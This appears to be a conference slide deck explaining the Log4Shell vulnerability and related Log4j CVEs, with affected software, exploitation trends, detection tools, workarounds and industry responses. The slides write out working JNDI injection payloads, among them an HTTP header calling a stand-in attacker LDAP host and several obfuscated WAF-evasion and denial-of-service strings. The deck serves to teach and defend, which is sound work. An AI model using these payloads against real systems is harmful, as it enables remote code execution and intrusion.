

Log4🥜Shell

A log Of 12/21 And The Future Of IT

The close future

- The log4j: the coal lump in our sock
- The industry is fighting back
- In the aftermath



\$who m- -H

- Father of 2 + 1 dog
- Head Of Engineering [Salt And Pepper](#)
- 16 Years in Industry, mostly product companies
- [@JavaAdvent](#) for 10+ years
- Transylvania JUG
- [InfoQ Editor](#) in Mike Redlich's Team
- Incurable Dreamer Of a Better World



[@olimpiupop](#)



[LinkedIn: OlimpiuPop](#)



Vulnerability


[

/vʌln(ə)rə'bilɪti/

noun:

1. the quality or state of being exposed to the possibility of being attacked or harmed, either physically or emotionally.
2. cyber: a weakness that can be exploited by cybercriminals to gain unauthorized access to a computer system

]



The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

```
GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}
```



❌ BLOCK WITH WAF

Attacker



Vulnerable Server
http://victim.xa



The string is passed to log4j for logging

`"${jndi:ldap://evil.xa/x}"`

❌ PATCH LOG4J

Vulnerable log4j
implementation



❌ DISABLE LOG4J

log4j interpolates the string and queries the malicious LDAP server.

`ldap://evil.xa/x`

❌ DISABLE JNDI LOOKUPS

Malicious LDAP Server
ldap://evil.xa



❌ DISABLE
REMOTE
CODEBASES

```
public class Malicious implements Serializable {
    ...
    static {
        <malicious Java code>
    }
    ...
}
```



JAVA deserializes (or downloads) the malicious Java class and executes it.

```
dn:
javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>
```

The LDAP server responds with directory information that contains the malicious Java class

log4shell: misfortunes never come alone

- **December 10: CVE-2021-44228:**
 - Reported by Chen Zhaojun - Alibaba's Cybersecurity team Nov 29th
 - **Critical (10/10)**
 - **Affected versions:** Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0.
- **December 14: CVE-2021-45046**
 - **Critical (9/10)**
 - **Affected versions:** 2.0.1 – 2.12.2 (excluded) y 2.13.0 – 2.16.0 (excluded)
- **December 14: CVE-2021-45105**
 - **High (7.5/10)**
 - **Affected versions:** Log4j2 versions 2.0-alpha1 hasta 2.16.0 (included)
- **December 28: CVE-2021-44832**
 - **High (6.5/10)**
 - **Affected versions:** Log4j2 2.17.1, 2.12.4, and 2.3.2.



CVE-2021-44228

- **Remote Code Exploit** that allows an attacker that could log arbitrary strings to execute arbitrary code
- Behaviour:
 - Evaluation of potential malicious payloads (`{jndi:protocol://evil.io/xploit}`)
 - Used protocols: mainly LDAP and DNS
 - Load the exploit pointed at the URL and executed on the host server
 - Could make use of the DNS service provider to exfiltrate possible variables that store sensitive information

CVE-2021-45046

- **Remote Code Execution** still possible on certain environments as well as exfiltration of server environment variables
- Variations of the payloads allow evading the mitigations defined by Apache:
 - `${jndi:ldap://127.0.0.1#evil.io/xploit}`

CVE-2021-45105

- Allows a **DoS** attack on log trace configurations in which recursive resolutions are used
- Allows a StackOverflow Exception causing the termination of the vulnerable application process
- Payload:
 - `${${::-${::-${${::-j}}}}}`
 - `${${lower:jn}${lower:di}}`

CVE-2021-44832

- Allows and **RCE** when the configuration uses a JDBC Appender with a JDNI LDAP Data Source URI



<https://mergebase.com/vulnerability/CVE-2021-44832/>

Image source: [@aalmiray](#) via [@mpredli](#)

Blast Area: Java Frameworks Affected

Affected


- **Apache Flink**
- **Apache Lucene**
- **Apache Struts**
- **Apache Hive**
- **Apache JMeter**
- **Apache Solr**
- ...

Not Affected

- **Apache Camel**
- **Apache Hadoop**
- **Apache httpd**
- **Apache Kafka**
- **Apache Maven**
- **Apache Spark**
- ...

Blast Area: Java Is Everywhere

- 64% of the Java Apps referenced it, 40% use it actively
- 8% Of Sonatype's Maven Central, (normal average is <2%)
- 28 M downloads August-December '21 in Maven-Central



<https://www.sonatype.com/resources/log4j-vulnerability-resource-center>

<https://stackoverflow.blog/2022/01/19/heres-how-stack-overflow-users-responded-to-log4shell-the-log4j-vulnerability-affecting-almost-everyone>

<https://www.contrastsecurity.com/security-influencers/log4shell-by-the-numbers>

First Security Vulnerability Exported to Outer Space?



Apache - The ASF 
@TheASF


Did you know that Ingenuity, the Mars 2020 Helicopter mission, is powered by Apache Log4j? logging.apache.org
[#Apache](#) [#OpenSource](#) [#innovation](#)
[#community](#) [#logging](#) [#services](#)





**DID
YOU
KNOW?**

<http://apache.org/>

Blast Area: Companies Affected



Intel® HD Graphics



Active Exploitation

- Who?
 - Actors from China, Iran, North Korea and Turkey tried to exploit it
 - Independent or Country backed organisations
- What?
 - Ransomware Campaigns
 - Botnets
 - Crypto mining
 - Remote access
 - Reverse shell



Defense Against The Dark Arts: Detections

- MergeBase log4j Detector
 - Java tool scanning for vulnerable versions of log4j
 - Can correctly detect log4j inside executable spring-boot jars/wars, dependencies blended into uber jars, shaded jars, and even exploded jar files just sitting uncompressed on the file-system (aka *.class).
 - Tested on Windows, Linux, MacOS
- BiZone Scripts For Linux and Windows
 - CVE-2021-44228 only
 - Scans JVM processes
- Linux Log4Shell Exploitation Attempts Identifier
 - Commands list to identify whether you were attacked or not

Defense Against The Dark Arts: Workarounds

- Workarounds:
 - For log4j > 2.10.0:
 - Dlog4j2.formatMsgNoLookups=true to disable the variable extrapolation.
 - set LOG4J_FORMAT_MSG_NO_LOOKUPS=true environmental variable to achieve the above behavior.
 - **Warning: in certain circumstances the code execution is still possible**
 - All versions:
 - Remove JNDILookup class from the jar and repackage the jar and the application (This solution must be evaluated as it could affect the application availability).
 - ```
find ./ -type f -name "log4j-core-*.jar" -exec zip -q -d "{}" org/apache/logging/log4j/core/lookup/JndiLookup.class \;
```
- The upgrade to safe versions is still considered the recommended solution

# Defense against the Dark Arts: Industry Solutions

- Web Application Firewalls
  - [Polymorphic](#) nature of the payload
  - Not just HTTP
  - RMI, CORBA, DNS
- Inefficient

```
`${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
`${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}

`${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

`${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

`${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc
}

`${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://xxxxxxx.
xx/poc}
```

- Agent Based Solutions:
  - Fix the vulnerability from within
  - Fix it on a running JVM process
  - Fix or mitigate
- [AWS Coreto Team Hotpatch](#)
  - JVM Running process: fix the lookup()
  - JDK8 and JDK11 on Linux
- Agent centered protection:  
Contrast Security (IAST or RASP)
  - Protect the application from within
  - Target the problematic process

# Are we safe now? 40% wrong download - Sonatype

- First days **70%** of the downloads - **vulnerable versions**
- Currently approximately **40%** of the log4j downloads are **vulnerable** versions (Pre 2.15.x)
- Days following the public exposure ~ 700K downloads daily
- Log4j questions on SO got a **1122%** increase in traffic in the first 7 days post announcement
- “Vulnerability” among top **100 words** used on SO
- **Migration for log4j 19K** views after public announcement

# In the aftermath: $\alpha$ - $\Omega$

- **Who?** Open Source Security Foundation, Google, Microsoft
  - Dedicated teams
- **How?**
  - **Alpha:** address undiscovered vulnerabilities within OSS project code
  - **Omega:** will apply automated security analysis, scoring and remediation guidance to 10k OSS projects
    - OpenSSF Scorecards
    - OpenSSF Best Practices Badge
  - Improved transparency in the health and security of these projects
  - Harvard's Census Program II, OSTIF Managed Audit Program => [Interim List Of Critical Projects](#)
    - Ansible, Angular, Kubernetes, maven, Rust
    - Go Lang, node.js, Rust Linux, Julia, Ruby, ...

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